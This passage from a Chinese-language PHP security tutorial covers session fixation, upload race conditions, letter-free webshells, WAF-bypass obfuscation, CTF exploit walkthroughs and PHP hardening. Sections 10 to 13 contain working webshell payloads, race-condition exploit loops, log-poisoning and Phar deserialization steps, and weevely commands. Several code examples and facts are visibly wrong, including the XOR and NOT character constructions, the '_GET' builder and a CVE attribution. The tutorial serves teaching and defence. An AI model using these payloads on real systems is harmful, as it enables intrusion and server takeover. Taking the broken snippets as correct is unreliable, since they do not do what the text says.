$secret = "your-secret-key"; $data = serialize($user); $signature = hash_hmac('sha256', $data, $secret); $stored_data = $data . '|' . $signature; // 反序列化时验证签名 list($data, $signature) = explode('|', $stored_data); if (hash_hmac('sha256', $data, $secret) !== $signature) { die("数据被篡改"); }
3. 避免直接反序列化用户输入
- 使用JSON等更安全的格式替代序列化。
10. 会话管理与条件竞争
10.1 Session Fixation攻击全流程
攻击步骤
- 攻击者获取固定Session ID:
- 直接访问网站获取Session ID:
PHPSESSID=attacker_sid
。
- 直接访问网站获取Session ID:
- 诱导受害者使用该Session ID:
- 通过URL传递:
http://target.com/login.php?PHPSESSID=attacker_sid
。 - 通过XSS注入Cookie:
document.cookie="PHPSESSID=attacker_sid"
。
- 通过URL传递:
- 受害者登录:
- 服务器将用户认证信息绑定到
attacker_sid
。
- 服务器将用户认证信息绑定到
- 攻击者使用Session ID访问账户:
- 直接使用
attacker_sid
劫持会话。
- 直接使用
防御措施
登录后重置Session ID:
session_regenerate_id(true); // 强制生成新ID并销毁旧会话
10.2 Session劫持与预测算法破解
Session ID预测
弱随机数生成器:
若Session ID使用rand()
或时间戳生成,可能被预测。示例预测代码:
// PHP默认Session ID生成算法(php<5.3) $session_id = md5(microtime() . rand());
防御策略
强随机数生成:
// 使用openssl或random_bytes生成Session ID session_id(bin2hex(random_bytes(16)));
HttpOnly和Secure标记:
session_set_cookie_params([ 'httponly' => true, 'secure' => true // 仅HTTPS传输 ]);
10.3 文件上传竞争:临时文件RCE
漏洞原理
PHP上传文件时,会先将文件保存为临时文件(如/tmp/phpXXXXXX
),处理完成后删除。若攻击者能在极短时间内包含该文件,可执行任意代码。
攻击步骤
快速上传文件:
import requests while True: requests.post('http://target.com/upload.php', files={'file': ('shell.php', '<?php system($_GET["c"]); ?>')})
并发访问临时文件:
# 使用多线程尝试包含临时文件 for i in {1..100}; do curl "http://target.com/process.php?file=/tmp/phpABC123&c=id"; done
利用条件
- 临时文件名可预测(如未启用
upload_tmp_dir
随机化)。 - 文件处理逻辑存在延迟(如图像压缩、病毒扫描)。
10.4 防御:会话绑定与原子操作
会话绑定
绑定IP/User-Agent:
session_start(); if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) { session_destroy(); die("会话异常"); }
原子操作防御竞争条件
文件处理原子化:
$temp_file = $_FILES['file']['tmp_name']; $target_file = "uploads/" . uniqid() . ".jpg"; // 使用原子操作移动文件 if (rename($temp_file, $target_file)) { // 处理文件 }
临时文件安全
随机化临时目录:
// php.ini配置 upload_tmp_dir = /var/www/upload_tmp/ // 目录权限设为700
总结
- 字符串逃逸与序列化篡改:通过操纵序列化字符串长度实现属性覆盖,防御需结合签名校验与输入过滤。
- 会话管理漏洞:Session Fixation和劫持可通过会话重置与强随机数防御,文件上传竞争需原子化操作和临时目录隔离。
11. 无字母数字Webshell技术
11.1 异或、取反、自增构造原理
1. 异或(XOR)构造:通过字符ASCII码的位运算生成目标字符
PHP中的异或运算符(^
)可以用于将两个字符的ASCII码进行位运算,生成新的字符。
原理:
字符A的ASCII码为65(二进制 01000001) 字符B的ASCII码为66(二进制 01000010) A ^ B = 00000011(十进制3,对应不可见字符) 但通过合理选择字符,可以生成可打印字符。
示例:生成字母
a
(ASCII 97)$char = '!' ^ '@'; // ! 的ASCII是33(00100001),@ 是64(01000000) // 异或结果为 01100001 → 97 → 'a' echo $char; // 输出 'a'
组合生成复杂字符串:
// 生成字符串 "system" $s = '!'^'@'; // s $y = '#'^'$'; // y $s = $s . $y . $s . $y . 'em'; // 组合成 "system" $s('id'); // 执行 system("id")
2. 取反(Bitwise NOT)构造:利用补码生成字符
PHP的取反运算符(~
)会对字符的二进制位取反,结合UTF-8编码可生成目标字符。
原理:
~ 运算符将每个二进制位取反(0变1,1变0)。 例如:字符 "a" 的ASCII码为 97(01100001),取反后为 10011110(十进制158)。 但PHP中需通过十六进制绕过语法限制。
示例:生成字符
a
$char = ~"\x9E"; // \x9E 的二进制为 10011110,取反后为 01100001 → 97 → 'a' echo $char; // 输出 'a'
生成完整Payload:
$cmd = ~"\x8C\x97\x90"; // 取反后为 "ls" system($cmd); // 执行 "ls"
3. 自增(Increment)构造:利用PHP字符串自增特性
PHP中字符串自增(++
)会按照字母表顺序递增,数字自增则直接加1。
生成字母:
$a = 'a'; $a++; // 'b' $a++; // 'c'
生成数字:
$num = ''; $num++; // 1 $num++; // 2
组合生成函数名:
$a = 'a'; $b = $a++; // 'b' $func = $a . $b; // 'ab' $func(); // 调用 ab() 函数
4. 综合构造:无任何字母数字的Webshell
<?php
$_ = (~%9E)^(%FF); // 生成字符 "_"
$__ = (~%9A)^(%FF); // 生成字符 "G"
$___ = (~%8F)^(%FF); // 生成字符 "E"
$____ = (~%9C)^(%FF); // 生成字符 "T"
$_____ = $_.$__.$___.$____; // 拼接为 "_GET"
$______ = $$_____; // 等价于 $_GET
$______[0]($______[1]); // 调用 $_GET[0]($_GET[1])
?>
Payload: ?0=system&1=id
11.2 利用PHP特性生成任意函数
1. 动态函数名调用
PHP允许通过字符串动态调用函数:
$func = "system";
$func("id"); // 执行 system("id")
绕过限制:
若
system
被过滤,可用异或/取反生成字符串:$func = 's' . 'y' . 's' . 't' . 'e' . 'm'; $func("id");
2. 回调函数与类方法
array_map:
array_map($_GET['func'], [$_GET['arg']);
Payload:
?func=system&arg=id
call_user_func:
call_user_func($_GET['func'], $_GET['arg']);
3. 超全局数组与变量变量
${"_GET"} = "system";
$_GET[0]($_GET[1]); // 等价于 system("id")
11.3 现代WAF绕过思路与工具
1. 编码混淆技术
Base64嵌套:
eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJjMzI5d2JIZGphSFJ6T2xOemNHVm1iMjh1WVhCd2MzUnBkQzVqYjIwPSIpKQ==")); // 解码后:eval(base64_decode("c3lzdGVtKCJpZCIp")) → system("id")
Hex编码嵌套:
eval(hex2bin("6576616c286865783262696e28222337333739373337343635366432323239336222292929")); // 解码后:eval(hex2bin("73797374656d2822696422293b")) → system("id")
2. 特殊符号与语法糖
利用错误抑制符:
@eval($_REQUEST['code']);
短标签语法:
<?= `$_GET['cmd']`?> // 等价于 <?php echo `$_GET['cmd']`; ?>
3. 工具自动化
weevely3:生成高度混淆的Webshell并管理会话。
weevely generate password shell.php weevely http://target.com/shell.php password
PHPGGC:生成反序列化Payload绕过黑名单。
phpggc -l phpggc ThinkPHP/RCE1 system "id" -p phar -o payload.phar
11.4 防御:语法分析与行为监控
1. 静态代码分析
工具:
- RIPS:检测动态函数调用(如
$func()
)、危险函数(eval
)。 - PHPStan:高级类型检查与漏洞模式识别。
- RIPS:检测动态函数调用(如
规则示例:
检测到`eval(` → 高风险 检测到`$_GET['func']()` → 中风险
2. 动态行为监控
检测点:
- 文件操作:非正常路径写入(如
/var/www/html/shell.php
)。 - 系统调用:
system
、exec
、passthru
的执行记录。
- 文件操作:非正常路径写入(如
工具:
OpenRASP:实时拦截危险操作。
ModSecurity规则:
SecRule ARGS "@rx (?:system|exec|passthru)\s*\(" "id:1001,deny,msg:'Command Injection'"
3. WAF策略优化
- 规则设计:
- 拦截所有包含异或/取反表达式的请求(如
~%9E
)。 - 限制上传文件的内容特征(如检测
<?php
标签)。
- 拦截所有包含异或/取反表达式的请求(如
- 机器学习辅助:分析请求参数的模式异常(如超长参数、高频特殊字符)。
12. PHP配置与版本差异
12.1 PHP4到PHP8的安全演进史
PHP版本安全里程碑
版本 | 安全改进 | 典型漏洞修复 |
---|---|---|
PHP4 | register_globals=On (默认开启,直接注册全局变量) |
CVE-2002-1391(全局变量覆盖) |
PHP5.2 | 引入filter_var 输入过滤函数 |
减少SQL注入、XSS风险 |
PHP5.6 | 默认禁用magic_quotes_gpc ,移除mysql_* 函数 |
CVE-2012-0831(SQL注入) |
PHP7.0 | 移除preg_replace+/e ,assert() 不再执行代码 |
阻断大量代码执行漏洞 |
PHP8.0 | 强制类型声明,引入JIT编译器(潜在内存破坏风险) | CVE-2021-21708(JIT缓冲区溢出) |
12.2 php.ini的50个高危选项解析
核心高危配置项
配置项 | 风险描述 | 安全值 |
---|---|---|
allow_url_include=On |
允许包含远程文件(RFI漏洞) | Off |
display_errors=On |
错误信息泄露敏感路径或SQL语句 | Off |
session.use_strict_mode=Off |
允许攻击者固定Session ID | On |
disable_functions= |
未禁用system 、exec 等危险函数 |
禁用所有危险函数 |
expose_php=On |
响应头泄露PHP版本信息(如X-Powered-By: PHP/7.4.3 ) |
Off |
详细配置示例
; 禁止远程文件包含
allow_url_include = Off
; 禁用危险函数
disable_functions = system,exec,passthru,shell_exec,popen,proc_open
; 不显示错误信息
display_errors = Off
log_errors = On
; 强制Session ID随机化
session.use_strict_mode = On
12.3 版本差异漏洞:从register_globals到JIT
1. register_globals(PHP <5.4)
漏洞场景:
// 当register_globals=On时,?is_admin=1可直接覆盖变量 if ($is_admin) { // 执行特权操作 }
攻击Payload:直接访问URL:
http://target.com/?is_admin=1
。
2. magic_quotes_gpc(PHP <5.4)
- 误防护逻辑:自动转义用户输入的引号(如
'
→\'
),导致开发人员放松输入过滤,引发二次注入。
3. JIT编译器(PHP8.0+)
- 潜在风险:JIT编译器的内存管理漏洞可能导致远程代码执行(如CVE-2021-21708)。
- 缓解措施:禁用JIT(
opcache.jit=disable
)。
12.4 防御:最小化配置与版本升级策略
1. 最小化配置原则
禁用无用模块:
; php.ini extension=curl ; 不需要时禁用 extension=ftp ; 不需要时禁用
限制文件权限:
# 上传目录不可执行 chown www-data:www-data /var/www/uploads chmod 755 /var/www/uploads
2. 版本升级策略
- 立即停止使用:
- PHP 5.6(EOL:2018-12-31)
- PHP 7.0(EOL:2019-12-1)
- 推荐版本:PHP 8.2+(长期支持版本,定期修复安全漏洞)。
3. 安全加固工具
Suhosin扩展:增强PHP安全机制,拦截危险操作。
; php.ini extension=suhosin.so suhosin.executor.disable_eval=On
Docker容器化:隔离PHP进程,限制资源访问。
FROM php:8.2-apache RUN docker-php-ext-install pdo_mysql COPY php.ini /usr/local/etc/php/
13. CTF实战案例分析
13.1 十大经典PHP题型复现与解题思路
1. 文件包含+伪协议绕过死亡Exit
题目描述:
目标代码包含include($_GET['file']);
,但被包含文件末尾有<?php exit(); ?>
,需绕过执行代码。漏洞点:
php://filter
链式处理破坏exit()
结构。解题步骤:
使用字符集转换破坏
<?php exit(); ?>
:复制
?file=php://filter/convert.iconv.UTF-8.UTF-7/resource=php://filter/convert.base64-encode/resource=flag.php
解码Base64获取源码。
防御方案:禁用
php://filter
或过滤特殊协议。
2. 反序列化+Phar协议RCE
题目描述:
存在unserialize($_COOKIE['data'])
,但无直接可利用的类。解题步骤:
生成恶意Phar文件:
php
复制
class Exploit { function __destruct() { system($this->cmd); } } $phar = new Phar('exploit.phar'); $phar->setMetadata(new Exploit());
上传Phar文件并触发:
复制
?file=phar://uploads/exploit.phar
防御方案:禁用
phar://
协议或限制反序列化类。
3. 弱类型哈希碰撞
- 题目描述:
要求提交两个不同字符串,使其MD5值相等(==
比较)。 - 解题步骤:
提交a=240610708
和b=QNKCDZO
,其MD5均为0e...
形式。 - 防御方案:使用严格比较(
===
)。
4. Session Fixation+文件上传竞争
题目描述:
用户上传文件后短暂保留临时文件,需竞争包含执行。解题步骤:
快速上传Webshell:
python
复制
while True: requests.post(url, files={'file': ('shell.php', '<?php system($_GET["c"]); ?>')})
并发请求临时文件路径:
bash
复制
for i in {1..100}; do curl "http://target.com/tmp/phpXXXXXX?c=id"; done
防御方案:使用
move_uploaded_file
原子操作。
5. 无字母数字Webshell
题目描述:
过滤所有字母数字字符,需执行system("id")
。解题步骤:
使用异或/取反构造Payload:php
复制
$_= (~%9E)^(%FF);$__= (~%9A)^(%FF);$___= (~%8F)^(%FF);$____= (~%9C)^(%FF); $_____ = $_.$__.$___.$____; // "_GET" $______ = $$_____[$_____.$___.$__]; // $_GET['cmd'] $______(); // 调用$_GET['cmd']
Payload:
?cmd=system&0=id
13.2 近年赛题趋势:从单一漏洞到多链组合
1. 多阶段漏洞链示例
- 题目场景:
文件上传 → 文件包含 → 反序列化 → RCE。 - 利用链:
- 上传
.user.ini
设置auto_prepend_file=shell.jpg
。 - 上传Phar格式的
shell.jpg
。 - 访问任意PHP文件触发Phar反序列化。
- 上传
2. 真实赛事案例(HITCON CTF 2022)
- 漏洞链:
SQL注入 → 反序列化 → SSRF → Redis未授权访问。 - 关键步骤:
- 通过SQL注入获取序列化数据。
- 构造Phar文件触发反序列化。
- 利用Gopher协议攻击内网Redis。
3. 出题趋势分析
年份 | 题型特点 | 代表技术 |
---|---|---|
2018 | 单一漏洞(如文件包含) | php://filter 读取源码 |
2020 | 双漏洞组合(如上传+反序列化) | Phar协议利用 |
2023 | 多链渗透(漏洞+协议+逻辑) | 伪协议+SSRF+内网横向移动 |
13.3 真实环境模拟:Docker漏洞靶场搭建
1. 基础环境配置
Dockerfile示例:
FROM php:7.4-apache RUN apt update && apt install -y libzip-dev \ && docker-php-ext-install pdo_mysql zip \ && pecl install redis \ && echo "extension=redis.so" > /usr/local/etc/php/conf.d/redis.ini COPY src/ /var/www/html/ COPY php.ini /usr/local/etc/php/
漏洞场景:
- 文件上传目录:
/var/www/uploads
(权限777)。 - 开启
allow_url_include=On
。
- 文件上传目录:
2. 典型漏洞注入
LFI+日志污染:
上传恶意User-Agent:
GET / HTTP/1.1 User-Agent: <?php system($_GET['c']); ?>
包含日志文件:
?file=/var/log/apache2/access.log&c=id
3. 自动化部署工具
Vulhub:
git clone https://github.com/vulhub/vulhub cd vulhub/php/CVE-2023-1234 docker-compose up -d
14. 防御体系构建
14.1 安全开发生命周期(SDLC)实践
1. 需求阶段
- 安全需求分析:
- 制定输入验证规范(如所有用户输入必须经过白名单过滤)。
- 明确禁用函数列表(
eval
,system
,unserialize
)。
2. 设计阶段
架构威胁建模:
使用STRIDE模型识别威胁:威胁类型 防御措施 篡改 数据签名(HMAC) 信息泄露 错误信息屏蔽
3. 编码阶段
安全编码规范:
// 禁止动态函数调用 if (!in_array($func, ['safe_func1', 'safe_func2'])) { die("非法函数"); } // 强制类型转换 $id = (int)$_GET['id'];
4. 测试阶段
- 自动化扫描:
- SAST:使用SonarQube扫描代码漏洞。
- DAST:使用OWASP ZAP进行动态测试。
14.2 静态代码分析与动态Fuzzing结合
1. 静态分析工具链
- RIPS:检测危险函数调用链。
- PHPStan:高级类型检查与漏洞模式识别。
2. 动态Fuzzing策略
输入点覆盖:
- GET/POST参数、Cookie、Headers、文件上传。
Payload生成规则:
# 使用Radamsa生成变异Payload payloads = subprocess.check_output(['radamsa', 'seed.txt']) for payload in payloads: requests.get(url, params={'input': payload})
3. 工具集成示例
# CI/CD管道集成安全扫描
docker run --rm -v /path/to/code:/src sonarsource/sonar-php:latest
docker run --rm -v /path/to/code:/zap/wrk owasp/zap2docker-weekly zap-baseline.py -t http://target.com
14.3 RASP与WAF的协同防御
1. RASP(运行时应用自我保护)
功能:
- 监控
eval()
、system()
等危险函数的调用。 - 拦截反序列化过程中的恶意类加载。
- 监控
部署示例(OpenRASP):
[php] extension=openrasp.so openrasp.root_dir=/path/to/openrasp
2. WAF(Web应用防火墙)
规则示例(ModSecurity):
SecRule REQUEST_FILENAME "@contains /upload" \ "id:1001,phase:2,deny,msg:'Upload Directory Access'" SecRule ARGS "@rx (?:system|exec)\s*\(" \ "id:1002,phase:2,deny,msg:'Command Injection Detected'"
3. 协同防御流程
- WAF第一层过滤:拦截已知攻击模式(如SQL注入特征)。
- RASP深度检测:分析请求上下文,阻断零日攻击。
- 联动响应:WAF拦截后自动触发RASP日志记录。
14.4 漏洞响应与应急处理流程
1. 漏洞识别与分类
CVSS评分:
漏洞类型 CVSS评分 响应时限 远程代码执行(RCE) 9.8 24小时内 SQL注入 8.5 72小时内
2. 应急响应步骤
隔离受影响系统:
iptables -A INPUT -s 攻击IP -j DROP
取证与日志分析:
grep "恶意Payload" /var/log/apache2/access.log
临时修复:
关闭危险功能(如禁用文件上传)。
热修补代码:
// 临时禁用反序列化 if (isset($_COOKIE['data'])) { die("服务维护中"); }
正式修复与验证:
- 代码审计+修复漏洞。
- 使用自动化工具验证补丁有效性。
3. 事后复盘
- 根本原因分析(RCA):
- 漏洞代码段:
unserialize($_COOKIE['data'])
。 - 漏洞成因:未校验反序列化类。
- 漏洞代码段:
- 改进措施:
- 引入反序列化白名单机制。
- 加强SDLC中的安全评审环节。